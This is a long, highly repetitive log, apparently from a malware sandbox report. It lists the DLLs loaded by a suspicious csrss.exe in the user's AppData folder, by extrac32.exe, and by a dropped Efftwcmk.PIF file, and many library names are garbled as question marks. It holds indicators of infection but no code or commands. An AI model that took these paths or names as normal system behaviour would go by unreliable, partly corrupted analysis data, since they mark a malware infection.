Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ???y.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ???y.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ???y.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ????.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ????.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ????.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ???2.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ???2.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ???2.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ???.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ???.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ???.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??????s.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??????s?s.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??????s.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: shcore.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: version.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ?????.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: url.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ieframe.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ???.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ????.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??????s.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
